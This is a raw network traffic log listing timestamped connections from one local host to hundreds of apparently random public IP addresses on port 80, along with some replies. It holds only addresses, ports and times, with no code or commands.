Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	41.22.54.60
Jan 5, 2025 14:34:51.730022907 CET	29477	80	192.168.2.13	17.219.220.32
Jan 5, 2025 14:34:51.730011940 CET	29477	80	192.168.2.13	174.193.240.193
Jan 5, 2025 14:34:51.730022907 CET	29477	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:51.730022907 CET	29477	80	192.168.2.13	133.103.30.246
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	189.52.205.193
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	89.14.126.235
Jan 5, 2025 14:34:51.730010033 CET	29477	80	192.168.2.13	130.235.117.29
Jan 5, 2025 14:34:51.730041981 CET	29477	80	192.168.2.13	223.76.76.80
Jan 5, 2025 14:34:51.730041981 CET	29477	80	192.168.2.13	31.80.239.115
Jan 5, 2025 14:34:51.730063915 CET	29477	80	192.168.2.13	165.11.0.69
Jan 5, 2025 14:34:51.730063915 CET	29477	80	192.168.2.13	145.213.212.153
Jan 5, 2025 14:34:51.730063915 CET	29477	80	192.168.2.13	180.233.33.135
Jan 5, 2025 14:34:51.730088949 CET	29477	80	192.168.2.13	82.188.144.25
Jan 5, 2025 14:34:51.730113983 CET	29477	80	192.168.2.13	72.135.25.4
Jan 5, 2025 14:34:51.730114937 CET	29477	80	192.168.2.13	53.224.127.117
Jan 5, 2025 14:34:51.730115891 CET	29477	80	192.168.2.13	5.242.128.66
Jan 5, 2025 14:34:51.730114937 CET	29477	80	192.168.2.13	2.79.91.42
Jan 5, 2025 14:34:51.730115891 CET	29477	80	192.168.2.13	146.153.158.241
Jan 5, 2025 14:34:51.730114937 CET	29477	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	72.112.109.189
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	222.19.206.23
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	181.212.202.37
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	180.209.26.214
Jan 5, 2025 14:34:51.730115891 CET	29477	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:51.730115891 CET	29477	80	192.168.2.13	128.196.3.237
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	37.214.232.61
Jan 5, 2025 14:34:51.730117083 CET	29477	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:51.730127096 CET	29477	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:51.730127096 CET	29477	80	192.168.2.13	138.54.10.162
Jan 5, 2025 14:34:51.730128050 CET	29477	80	192.168.2.13	194.42.246.90
Jan 5, 2025 14:34:51.730130911 CET	29477	80	192.168.2.13	25.235.168.148
Jan 5, 2025 14:34:51.730130911 CET	29477	80	192.168.2.13	32.252.123.78
Jan 5, 2025 14:34:51.730134010 CET	29477	80	192.168.2.13	99.2.140.201
Jan 5, 2025 14:34:51.730134010 CET	29477	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:51.730134010 CET	29477	80	192.168.2.13	101.16.6.46
Jan 5, 2025 14:34:51.730142117 CET	29477	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:51.730159998 CET	29477	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:51.730166912 CET	29477	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:51.730168104 CET	29477	80	192.168.2.13	44.218.91.191
Jan 5, 2025 14:34:51.730171919 CET	29477	80	192.168.2.13	99.158.62.56
Jan 5, 2025 14:34:51.730178118 CET	29477	80	192.168.2.13	186.201.209.50
Jan 5, 2025 14:34:51.730178118 CET	29477	80	192.168.2.13	164.138.201.158
Jan 5, 2025 14:34:51.730178118 CET	29477	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:51.730178118 CET	29477	80	192.168.2.13	77.65.24.19
Jan 5, 2025 14:34:51.730178118 CET	29477	80	192.168.2.13	155.5.153.138
Jan 5, 2025 14:34:51.730182886 CET	29477	80	192.168.2.13	166.95.170.63
Jan 5, 2025 14:34:51.730182886 CET	29477	80	192.168.2.13	207.215.212.22
Jan 5, 2025 14:34:51.730191946 CET	29477	80	192.168.2.13	219.54.10.214
Jan 5, 2025 14:34:51.730211020 CET	29477	80	192.168.2.13	175.183.46.240
Jan 5, 2025 14:34:51.730211020 CET	29477	80	192.168.2.13	42.79.20.150
Jan 5, 2025 14:34:51.730216980 CET	29477	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:51.730216980 CET	29477	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:51.730221987 CET	29477	80	192.168.2.13	88.209.200.173
Jan 5, 2025 14:34:51.730221987 CET	29477	80	192.168.2.13	175.245.253.17
Jan 5, 2025 14:34:51.730261087 CET	29477	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:51.730262995 CET	29477	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:51.730307102 CET	29477	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:51.730309010 CET	29477	80	192.168.2.13	181.97.38.177
Jan 5, 2025 14:34:51.730312109 CET	29477	80	192.168.2.13	96.154.183.189
Jan 5, 2025 14:34:51.730313063 CET	29477	80	192.168.2.13	178.127.135.36
Jan 5, 2025 14:34:51.730313063 CET	29477	80	192.168.2.13	124.176.167.7
Jan 5, 2025 14:34:51.730313063 CET	29477	80	192.168.2.13	120.108.229.41
Jan 5, 2025 14:34:51.730315924 CET	29477	80	192.168.2.13	20.82.200.219
Jan 5, 2025 14:34:51.730315924 CET	29477	80	192.168.2.13	192.214.235.88
Jan 5, 2025 14:34:51.730315924 CET	29477	80	192.168.2.13	108.171.105.201
Jan 5, 2025 14:34:51.730317116 CET	29477	80	192.168.2.13	203.213.57.208
Jan 5, 2025 14:34:51.730315924 CET	29477	80	192.168.2.13	199.250.9.123
Jan 5, 2025 14:34:51.730317116 CET	29477	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:51.730317116 CET	29477	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:51.730324030 CET	29477	80	192.168.2.13	125.76.10.156
Jan 5, 2025 14:34:51.730324984 CET	29477	80	192.168.2.13	44.83.48.22
Jan 5, 2025 14:34:51.730329990 CET	29477	80	192.168.2.13	196.241.10.180
Jan 5, 2025 14:34:51.730333090 CET	29477	80	192.168.2.13	211.227.233.63
Jan 5, 2025 14:34:51.730333090 CET	29477	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:51.730333090 CET	29477	80	192.168.2.13	166.193.19.8
Jan 5, 2025 14:34:51.730340004 CET	29477	80	192.168.2.13	77.51.64.168
Jan 5, 2025 14:34:51.730340004 CET	29477	80	192.168.2.13	46.69.101.35
Jan 5, 2025 14:34:51.730340958 CET	29477	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:51.730340958 CET	29477	80	192.168.2.13	126.216.109.113
Jan 5, 2025 14:34:51.730350018 CET	29477	80	192.168.2.13	103.188.16.0
Jan 5, 2025 14:34:51.730350018 CET	29477	80	192.168.2.13	2.249.99.214
Jan 5, 2025 14:34:51.730351925 CET	29477	80	192.168.2.13	202.4.116.182
Jan 5, 2025 14:34:51.730353117 CET	29477	80	192.168.2.13	61.14.203.58
Jan 5, 2025 14:34:51.730351925 CET	29477	80	192.168.2.13	202.146.31.41
Jan 5, 2025 14:34:51.730353117 CET	29477	80	192.168.2.13	172.129.129.120
Jan 5, 2025 14:34:51.730351925 CET	29477	80	192.168.2.13	211.238.11.41
Jan 5, 2025 14:34:51.730353117 CET	29477	80	192.168.2.13	76.30.28.133
Jan 5, 2025 14:34:51.730353117 CET	29477	80	192.168.2.13	139.20.233.12
Jan 5, 2025 14:34:51.730354071 CET	29477	80	192.168.2.13	130.28.75.80
Jan 5, 2025 14:34:51.730354071 CET	29477	80	192.168.2.13	114.25.86.3
Jan 5, 2025 14:34:51.730354071 CET	29477	80	192.168.2.13	119.142.212.105
Jan 5, 2025 14:34:51.730353117 CET	29477	80	192.168.2.13	91.166.28.70
Jan 5, 2025 14:34:51.730360985 CET	29477	80	192.168.2.13	83.9.59.123
Jan 5, 2025 14:34:51.730360985 CET	29477	80	192.168.2.13	209.154.246.13
Jan 5, 2025 14:34:51.730360985 CET	29477	80	192.168.2.13	95.107.133.216
Jan 5, 2025 14:34:51.730362892 CET	29477	80	192.168.2.13	92.191.110.195
Jan 5, 2025 14:34:51.730360985 CET	29477	80	192.168.2.13	126.60.210.87
Jan 5, 2025 14:34:51.730362892 CET	29477	80	192.168.2.13	41.199.168.156
Jan 5, 2025 14:34:51.730385065 CET	29477	80	192.168.2.13	219.66.104.169
Jan 5, 2025 14:34:51.730403900 CET	29477	80	192.168.2.13	71.171.172.174
Jan 5, 2025 14:34:51.730403900 CET	29477	80	192.168.2.13	150.244.249.86
Jan 5, 2025 14:34:51.730415106 CET	29477	80	192.168.2.13	9.127.11.146
Jan 5, 2025 14:34:51.730421066 CET	29477	80	192.168.2.13	73.22.107.180
Jan 5, 2025 14:34:51.730427980 CET	29477	80	192.168.2.13	147.199.109.216
Jan 5, 2025 14:34:51.730433941 CET	29477	80	192.168.2.13	135.135.158.177
Jan 5, 2025 14:34:51.730433941 CET	29477	80	192.168.2.13	9.106.250.46
Jan 5, 2025 14:34:51.730434895 CET	29477	80	192.168.2.13	43.192.223.255
Jan 5, 2025 14:34:51.730437994 CET	29477	80	192.168.2.13	149.195.104.135
Jan 5, 2025 14:34:51.730442047 CET	29477	80	192.168.2.13	23.121.216.66
Jan 5, 2025 14:34:51.730442047 CET	29477	80	192.168.2.13	87.184.254.114
Jan 5, 2025 14:34:51.730442047 CET	29477	80	192.168.2.13	189.137.196.222
Jan 5, 2025 14:34:51.730443954 CET	29477	80	192.168.2.13	104.222.167.115
Jan 5, 2025 14:34:51.730443954 CET	29477	80	192.168.2.13	4.146.16.247
Jan 5, 2025 14:34:51.730449915 CET	29477	80	192.168.2.13	167.110.140.50
Jan 5, 2025 14:34:51.730463982 CET	29477	80	192.168.2.13	112.151.218.238
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	193.160.72.79
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	85.152.154.191
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	205.78.46.127
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	129.157.174.30
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	119.88.10.38
Jan 5, 2025 14:34:51.730483055 CET	29477	80	192.168.2.13	112.108.248.152
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	125.187.84.120
Jan 5, 2025 14:34:51.730483055 CET	29477	80	192.168.2.13	149.233.192.156
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	158.221.12.177
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	63.17.113.93
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	160.20.161.80
Jan 5, 2025 14:34:51.730488062 CET	29477	80	192.168.2.13	90.5.231.136
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	13.191.30.239
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	109.67.127.153
Jan 5, 2025 14:34:51.730483055 CET	29477	80	192.168.2.13	222.130.3.196
Jan 5, 2025 14:34:51.730488062 CET	29477	80	192.168.2.13	138.94.240.124
Jan 5, 2025 14:34:51.730484009 CET	29477	80	192.168.2.13	2.251.159.204
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	109.114.248.240
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	96.112.95.194
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	149.132.140.8
Jan 5, 2025 14:34:51.730482101 CET	29477	80	192.168.2.13	153.180.62.97
Jan 5, 2025 14:34:51.730488062 CET	29477	80	192.168.2.13	83.203.255.26
Jan 5, 2025 14:34:51.730488062 CET	29477	80	192.168.2.13	179.166.4.110
Jan 5, 2025 14:34:51.730488062 CET	29477	80	192.168.2.13	111.82.225.204
Jan 5, 2025 14:34:51.730480909 CET	29477	80	192.168.2.13	81.233.144.173
Jan 5, 2025 14:34:51.730484009 CET	29477	80	192.168.2.13	65.201.88.223
Jan 5, 2025 14:34:51.730484009 CET	29477	80	192.168.2.13	203.88.227.81
Jan 5, 2025 14:34:51.730500937 CET	29477	80	192.168.2.13	123.207.142.252
Jan 5, 2025 14:34:51.730500937 CET	29477	80	192.168.2.13	156.201.218.21
Jan 5, 2025 14:34:51.730504036 CET	29477	80	192.168.2.13	161.98.247.18
Jan 5, 2025 14:34:51.730504036 CET	29477	80	192.168.2.13	205.139.25.161
Jan 5, 2025 14:34:51.730504036 CET	29477	80	192.168.2.13	9.97.163.76
Jan 5, 2025 14:34:51.730511904 CET	29477	80	192.168.2.13	90.49.143.39
Jan 5, 2025 14:34:51.730511904 CET	29477	80	192.168.2.13	132.122.76.217
Jan 5, 2025 14:34:51.730511904 CET	29477	80	192.168.2.13	24.134.32.221
Jan 5, 2025 14:34:51.730541945 CET	29477	80	192.168.2.13	205.237.93.233
Jan 5, 2025 14:34:51.730547905 CET	29477	80	192.168.2.13	86.56.252.134
Jan 5, 2025 14:34:51.730547905 CET	29477	80	192.168.2.13	66.205.182.216
Jan 5, 2025 14:34:51.730547905 CET	29477	80	192.168.2.13	180.195.49.173
Jan 5, 2025 14:34:51.730550051 CET	29477	80	192.168.2.13	185.30.65.113
Jan 5, 2025 14:34:51.730547905 CET	29477	80	192.168.2.13	93.240.222.10
Jan 5, 2025 14:34:51.730555058 CET	29477	80	192.168.2.13	182.200.251.81
Jan 5, 2025 14:34:51.730562925 CET	29477	80	192.168.2.13	87.231.186.129
Jan 5, 2025 14:34:51.730571032 CET	29477	80	192.168.2.13	165.47.142.38
Jan 5, 2025 14:34:51.730573893 CET	29477	80	192.168.2.13	88.146.154.167
Jan 5, 2025 14:34:51.730573893 CET	29477	80	192.168.2.13	86.167.73.171
Jan 5, 2025 14:34:51.730573893 CET	29477	80	192.168.2.13	142.94.95.182
Jan 5, 2025 14:34:51.730573893 CET	29477	80	192.168.2.13	40.63.201.209
Jan 5, 2025 14:34:51.730576038 CET	29477	80	192.168.2.13	109.140.250.34
Jan 5, 2025 14:34:51.730576038 CET	29477	80	192.168.2.13	103.133.246.89
Jan 5, 2025 14:34:51.730576038 CET	29477	80	192.168.2.13	135.230.162.55
Jan 5, 2025 14:34:51.730576038 CET	29477	80	192.168.2.13	122.89.196.170
Jan 5, 2025 14:34:51.730576038 CET	29477	80	192.168.2.13	137.108.7.38
Jan 5, 2025 14:34:51.730585098 CET	29477	80	192.168.2.13	205.167.150.175
Jan 5, 2025 14:34:51.730585098 CET	29477	80	192.168.2.13	193.71.237.4
Jan 5, 2025 14:34:51.730585098 CET	29477	80	192.168.2.13	70.3.129.225
Jan 5, 2025 14:34:51.730586052 CET	29477	80	192.168.2.13	115.76.183.188
Jan 5, 2025 14:34:51.730586052 CET	29477	80	192.168.2.13	175.154.169.11
Jan 5, 2025 14:34:51.730586052 CET	29477	80	192.168.2.13	147.122.68.226
Jan 5, 2025 14:34:51.730586052 CET	29477	80	192.168.2.13	86.201.131.217
Jan 5, 2025 14:34:51.730586052 CET	29477	80	192.168.2.13	27.155.161.52
Jan 5, 2025 14:34:51.730590105 CET	29477	80	192.168.2.13	173.193.233.241
Jan 5, 2025 14:34:51.730590105 CET	29477	80	192.168.2.13	116.236.169.67
Jan 5, 2025 14:34:51.730591059 CET	29477	80	192.168.2.13	168.208.200.241
Jan 5, 2025 14:34:51.730591059 CET	29477	80	192.168.2.13	200.24.228.160
Jan 5, 2025 14:34:51.730591059 CET	29477	80	192.168.2.13	153.248.231.181
Jan 5, 2025 14:34:51.730591059 CET	29477	80	192.168.2.13	165.224.117.71
Jan 5, 2025 14:34:51.730591059 CET	29477	80	192.168.2.13	67.10.241.128
Jan 5, 2025 14:34:51.730603933 CET	29477	80	192.168.2.13	95.121.74.20
Jan 5, 2025 14:34:51.730603933 CET	29477	80	192.168.2.13	116.245.189.59
Jan 5, 2025 14:34:51.730603933 CET	29477	80	192.168.2.13	130.220.36.79
Jan 5, 2025 14:34:51.730607033 CET	29477	80	192.168.2.13	130.59.5.95
Jan 5, 2025 14:34:51.730607033 CET	29477	80	192.168.2.13	58.167.171.195
Jan 5, 2025 14:34:51.730607033 CET	29477	80	192.168.2.13	147.244.104.190
Jan 5, 2025 14:34:51.730612040 CET	29477	80	192.168.2.13	143.226.65.225
Jan 5, 2025 14:34:51.730618954 CET	29477	80	192.168.2.13	40.204.123.177
Jan 5, 2025 14:34:51.730618954 CET	29477	80	192.168.2.13	126.29.182.49
Jan 5, 2025 14:34:51.730618954 CET	29477	80	192.168.2.13	133.190.153.81
Jan 5, 2025 14:34:51.730618954 CET	29477	80	192.168.2.13	91.237.134.158
Jan 5, 2025 14:34:51.730623007 CET	29477	80	192.168.2.13	168.133.155.36
Jan 5, 2025 14:34:51.730628014 CET	29477	80	192.168.2.13	148.91.161.225
Jan 5, 2025 14:34:51.730640888 CET	29477	80	192.168.2.13	199.139.159.249
Jan 5, 2025 14:34:51.730657101 CET	29477	80	192.168.2.13	171.74.28.30
Jan 5, 2025 14:34:51.730658054 CET	29477	80	192.168.2.13	208.230.144.209
Jan 5, 2025 14:34:51.730664015 CET	29477	80	192.168.2.13	129.124.185.124
Jan 5, 2025 14:34:51.730674028 CET	29477	80	192.168.2.13	52.226.185.165
Jan 5, 2025 14:34:51.730674028 CET	29477	80	192.168.2.13	108.25.150.246
Jan 5, 2025 14:34:51.730674028 CET	29477	80	192.168.2.13	17.36.82.155
Jan 5, 2025 14:34:51.730674982 CET	29477	80	192.168.2.13	125.182.35.146
Jan 5, 2025 14:34:51.730674982 CET	29477	80	192.168.2.13	124.183.57.94
Jan 5, 2025 14:34:51.730674982 CET	29477	80	192.168.2.13	8.232.12.166
Jan 5, 2025 14:34:51.730679989 CET	29477	80	192.168.2.13	121.31.59.82
Jan 5, 2025 14:34:51.730679989 CET	29477	80	192.168.2.13	135.106.106.180
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	222.28.167.67
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	180.144.22.170
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	34.232.51.130
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	157.103.220.139
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	12.219.148.175
Jan 5, 2025 14:34:51.730680943 CET	29477	80	192.168.2.13	171.186.75.43
Jan 5, 2025 14:34:51.730686903 CET	29477	80	192.168.2.13	109.12.200.159
Jan 5, 2025 14:34:51.730695963 CET	29477	80	192.168.2.13	122.185.250.226
Jan 5, 2025 14:34:51.730704069 CET	29477	80	192.168.2.13	167.84.141.69
Jan 5, 2025 14:34:51.730714083 CET	29477	80	192.168.2.13	216.86.102.105
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	138.161.215.108
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	1.133.211.215
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	35.40.209.174
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	168.246.160.97
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	24.185.82.133
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	190.172.162.214
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	18.82.37.212
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	139.92.196.158
Jan 5, 2025 14:34:51.730720043 CET	29477	80	192.168.2.13	222.97.86.194
Jan 5, 2025 14:34:51.730734110 CET	29477	80	192.168.2.13	1.31.115.171
Jan 5, 2025 14:34:51.730792046 CET	29477	80	192.168.2.13	115.32.99.0
Jan 5, 2025 14:34:51.730797052 CET	29477	80	192.168.2.13	165.125.157.129
Jan 5, 2025 14:34:51.730798960 CET	29477	80	192.168.2.13	137.158.20.21
Jan 5, 2025 14:34:51.730799913 CET	29477	80	192.168.2.13	93.102.149.1
Jan 5, 2025 14:34:51.734657049 CET	80	29477	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:51.734669924 CET	80	29477	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:51.734678984 CET	80	29477	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:51.734688997 CET	80	29477	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:51.734698057 CET	80	29477	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:51.734714031 CET	29477	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:51.734719992 CET	80	29477	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:51.734730005 CET	80	29477	63.43.10.28	192.168.2.13
Jan 5, 2025 14:34:51.734739065 CET	80	29477	99.164.207.221	192.168.2.13
Jan 5, 2025 14:34:51.734749079 CET	80	29477	78.20.11.62	192.168.2.13
Jan 5, 2025 14:34:51.734752893 CET	29477	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:51.734757900 CET	80	29477	125.109.219.8	192.168.2.13
Jan 5, 2025 14:34:51.734766960 CET	29477	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:51.734776020 CET	29477	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:51.734776974 CET	29477	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:51.734776974 CET	29477	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:51.734781027 CET	29477	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:51.734785080 CET	29477	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:51.734791994 CET	29477	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:51.734792948 CET	29477	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:51.735137939 CET	80	29477	158.69.164.161	192.168.2.13
Jan 5, 2025 14:34:51.735156059 CET	80	29477	92.185.151.122	192.168.2.13
Jan 5, 2025 14:34:51.735167027 CET	80	29477	102.228.238.136	192.168.2.13
Jan 5, 2025 14:34:51.735176086 CET	80	29477	38.94.34.240	192.168.2.13
Jan 5, 2025 14:34:51.735184908 CET	80	29477	131.92.77.249	192.168.2.13
Jan 5, 2025 14:34:51.735193968 CET	80	29477	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:51.735203028 CET	80	29477	19.126.39.244	192.168.2.13
Jan 5, 2025 14:34:51.735203028 CET	29477	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:51.735198975 CET	29477	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:51.735213995 CET	80	29477	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:51.735225916 CET	80	29477	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:51.735243082 CET	29477	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:51.735245943 CET	29477	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:51.735248089 CET	29477	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:51.735256910 CET	29477	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:51.735261917 CET	29477	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:51.735261917 CET	29477	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:51.735265017 CET	29477	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:51.735270023 CET	80	29477	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:51.735280991 CET	80	29477	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:51.735291004 CET	80	29477	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:51.735306978 CET	80	29477	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:51.735325098 CET	80	29477	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:51.735333920 CET	80	29477	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:51.735344887 CET	80	29477	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:51.735353947 CET	29477	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:51.735353947 CET	29477	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:51.735354900 CET	80	29477	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:51.735358953 CET	29477	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:51.735358953 CET	29477	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:51.735364914 CET	80	29477	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:51.735369921 CET	29477	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:51.735369921 CET	29477	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:51.735371113 CET	29477	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:51.735375881 CET	80	29477	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:51.735379934 CET	29477	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:51.735385895 CET	80	29477	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:51.735395908 CET	80	29477	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:51.735398054 CET	29477	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:51.735404968 CET	80	29477	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:51.735415936 CET	80	29477	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:51.735419035 CET	29477	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:51.735419035 CET	29477	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:51.735424042 CET	29477	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:51.735426903 CET	80	29477	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:51.735438108 CET	80	29477	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:51.735445976 CET	80	29477	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:51.735455036 CET	80	29477	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:51.735454082 CET	29477	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:51.735464096 CET	80	29477	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:51.735472918 CET	80	29477	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:51.735481977 CET	80	29477	169.129.160.250	192.168.2.13
Jan 5, 2025 14:34:51.735491037 CET	80	29477	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:51.735491991 CET	29477	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:51.735498905 CET	80	29477	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:51.735507011 CET	80	29477	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:51.735517025 CET	80	29477	197.26.207.114	192.168.2.13
Jan 5, 2025 14:34:51.735527992 CET	80	29477	194.183.164.23	192.168.2.13
Jan 5, 2025 14:34:51.735538960 CET	80	29477	41.64.231.50	192.168.2.13
Jan 5, 2025 14:34:51.735542059 CET	29477	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:51.735548019 CET	80	29477	1.236.162.149	192.168.2.13
Jan 5, 2025 14:34:51.735548973 CET	29477	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:51.735548973 CET	29477	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:51.735553980 CET	29477	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:51.735558033 CET	80	29477	207.228.250.37	192.168.2.13
Jan 5, 2025 14:34:51.735562086 CET	80	29477	85.20.129.185	192.168.2.13
Jan 5, 2025 14:34:51.735563040 CET	29477	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:51.735564947 CET	29477	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:51.735572100 CET	80	29477	65.19.217.78	192.168.2.13
Jan 5, 2025 14:34:51.735574961 CET	29477	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:51.735577106 CET	29477	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:51.735577106 CET	29477	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:51.735579014 CET	29477	80	192.168.2.13	41.64.231.50
Jan 5, 2025 14:34:51.735580921 CET	80	29477	220.24.54.57	192.168.2.13
Jan 5, 2025 14:34:51.735584974 CET	29477	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:51.735584974 CET	29477	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:51.735588074 CET	29477	80	192.168.2.13	194.183.164.23
Jan 5, 2025 14:34:51.735588074 CET	29477	80	192.168.2.13	1.236.162.149
Jan 5, 2025 14:34:51.735589981 CET	80	29477	52.162.205.233	192.168.2.13
Jan 5, 2025 14:34:51.735591888 CET	29477	80	192.168.2.13	207.228.250.37
Jan 5, 2025 14:34:51.735591888 CET	29477	80	192.168.2.13	85.20.129.185
Jan 5, 2025 14:34:51.735599041 CET	80	29477	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:51.735644102 CET	29477	80	192.168.2.13	220.24.54.57
Jan 5, 2025 14:34:51.735644102 CET	29477	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:51.735646963 CET	29477	80	192.168.2.13	52.162.205.233
Jan 5, 2025 14:34:51.735663891 CET	29477	80	192.168.2.13	65.19.217.78
